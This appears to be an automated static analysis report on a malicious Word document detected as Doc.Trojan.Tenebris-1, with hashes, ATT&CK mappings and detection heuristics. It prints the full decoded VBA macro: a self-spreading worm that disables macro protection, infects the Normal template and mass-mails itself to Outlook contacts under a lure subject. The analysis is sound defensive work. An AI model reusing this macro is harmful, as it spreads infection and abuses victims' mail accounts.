Doc.Trojan.Tenebris-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 a60f026f42efcb82…

MALICIOUS

Office (OLE)

32.5 KB Created: 2003-06-19 09:35:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: a6aebdfcc2023ea01ef6fad5cc51aaac SHA-1: acec6e5fbd4c8e4042189826208dcccc34d7a581 SHA-256: a60f026f42efcb823f1bafe40b8729be4f3b15a9bf29139c5bc00537ac92f414
280 Risk Score

Malware Insights

Doc.Trojan.Tenebris-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen subroutine, which is a common technique for malicious documents. The script attempts to disable macro security settings and injects its code into the Normal template and active document, likely to establish persistence. It also attempts to interact with Outlook, suggesting a potential for further propagation or data exfiltration. The ClamAV detection of 'Doc.Trojan.Tenebris-1' strongly supports this assessment.

Heuristics 6

  • ClamAV: Doc.Trojan.Tenebris-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Tenebris-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3166 bytes
SHA-256: 506ac1892f113569fd087aac5b760eca2989bef87ace7f770558a5f0730d2a65
Detection
ClamAV: Doc.Trojan.Tenebris-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Modulo1"
' Macro.Word.Tenebris - By SAD1c
Private Sub AutoOpen()
On Error Resume Next
zero = 0
With Options
        .VirusProtection = zero
        .ConfirmConversions = zero
        .SaveNormalPrompt = zero
End With
CommandBars("Macro").Visible = zero
Set rk = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & Application.Version & "\Word\Security"
System.PrivateProfileString("", rk, "Level") = 1&
System.PrivateProfileString("", rk, "AccessVBOM") = 1&
Set ad = ActiveDocument.VBProject.VBComponents(1)
Set td = ThisDocument.VBProject.VBComponents(1)
Set nt = NormalTemplate.VBProject.VBComponents(1)
If nt.Name <> "Tenebris" Then
        Set tdc = td.CodeModule
        Set ntc = nt.CodeModule
        ntc.DeleteLines 1, ntc.CountOfLines
        ntc.InsertLines 1, tdc.Lines(1, tdc.CountOfLines)
        nt.Name = "Tenebris"
        NormalTemplate.Save
End If
If ad.Name <> "Tenebris" Then
        Set tdc = td.CodeModule
        Set atc = ad.CodeModule
        atc.DeleteLines 1, atc.CountOfLines
        atc.InsertLines 1, tdc.Lines(1, tdc.CountOfLines)
        ad.Name = "Tenebris"
        ActiveDocument.Password = ""
        ActiveDocument.SaveAs ActiveDocument.FullName
End If
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Tenebris", "Outlook") = "" Then
        Set out = CreateObject("Outlook.Application")
        Set list = out.GetNameSpace("MAPI").GetDefaultFolder(10).Items
        For count = 1 To list.count
                sendmail (list.Item(count))
        Next count
        System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Tenebris", "Outlook") = "Tenebris"
End If
For Each link In ActiveDocument.Hyperlinks
        If Left(link.address, 7) = "mailto:" Then
                sendmail (Mid(link.address, 8))
        End If
Next
If Month(Now) = 7 Then
        With Application.Assistant
                Set ball = .NewBalloon
                .On = True
                .Animation = msoAnimationGreeting
                ball.Heading = "Macro.Word.Tenebris"
                ball.Text = "Ex Tenebris Oritur Lux!"
                ball.Icon = msoIconTip
                ball.Show
        End With
End If
End Sub
Function sendmail(address)
        Set outlook = CreateObject("Outlook.Application")
        Set mail = outlook.CreateItem(0)
        With mail
                .To = address
                .Subject = "Very Important Document!"
                .Body = "Hi! Here  i've attached a word document that i think you will find interesting."
                .Body = mail.Body & vbcrlf & "Please tell me what do you think about it!" & vbcrlf & "Greetings."
                .Attachments.Add ActiveDocument.FullName
                .Importance = 2
                .DeleteAfterSubmit = True
                .Send
        End With
End Function